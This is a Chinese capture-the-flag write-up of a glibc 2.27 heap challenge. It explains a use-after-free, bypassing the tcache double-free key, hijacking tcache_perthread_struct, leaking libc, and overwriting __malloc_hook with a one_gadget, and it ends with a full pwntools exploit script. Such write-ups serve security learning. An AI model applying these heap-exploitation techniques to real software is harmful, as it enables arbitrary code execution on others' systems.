image-20240310152006945

漏洞点

image-20240310152049436

存在UAF

思路

只能一直对下标为0的堆块进行修改。

因为这个是glibc-2.27-1.4相较于glibc-2.27-1.0多了一个key机制,是为了防止double_free机制的。

利用edit()将其修改为0即可绕过检查,然后再利用double free

image-20240310153510550

image-20240310153553056

利用double free对tcache_perthread_struct结构体进行劫持,然后将0x250对应counts修改为7,因为tcache_perthread_struct结构体chunk大小为0x250,所以这样当我们将这个chunk释放掉后,由于counts为7,表示tcache满了,就会将其free进unsortedbin中。

image-20240310154159685

image-20240310154208827

image-20240310154231912

接着就是再次申请chunk,然后修改tcache_perthread_struct中tcache_entry指针,tcache_entry指针指向的就是当前tcache中对应大小的链的指针,将此指针修改到malloc_hook范围。

image-20240310154449908

需要注意的是,tcache_perthread_struct对应的counts也要讲0x70处修改为1,然后再次申请这个大小的chunk即可申请出malloc_hook。再填入onegadget即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28406)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(index,size):
rl("Your choice: ")
sl('1')
rl("Index: ")
sl(str(index))
rl("Size: ")
sl(str(size))

def show(index):
rl("Your choice: ")
sl('3')
rl("Index: ")
sl(str(index))

def edit(index,content):
rl("Your choice: ")
sl('2')
rl("Index: ")
sl(str(index))
rl("Content: ")
sl(content)
def delete(index):
rl("Your choice: ")
sl('4')
rl("Index: ")
sl(str(index))

gdb.attach(p)
add(0,0x40)
delete(0)

edit(0,p64(0)*2)

delete(0)
show(0)
rl("Content: ")
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x260
lg("heap_base",heap_base)

edit(0,p64(heap_base+0x10))

add(0,0x40)
add(0,0x40)

edit(0,p64(0)*4+p64(0x0000000007000000))

delete(0)
show(0)
rl("Content: ")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3ebca0
lg("libc_base",libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0,0x78)
edit(0,p64(0x0000010000000000)+p64(0)*12+p64(malloc_hook-0x10))

add(0,0x60)

onegadget = [0x4f2a5,0x4f302,0x10a2fc]

edit(0,'a'*0x10+p64(libc_base+onegadget[2]))

add(0,0x10)

inter()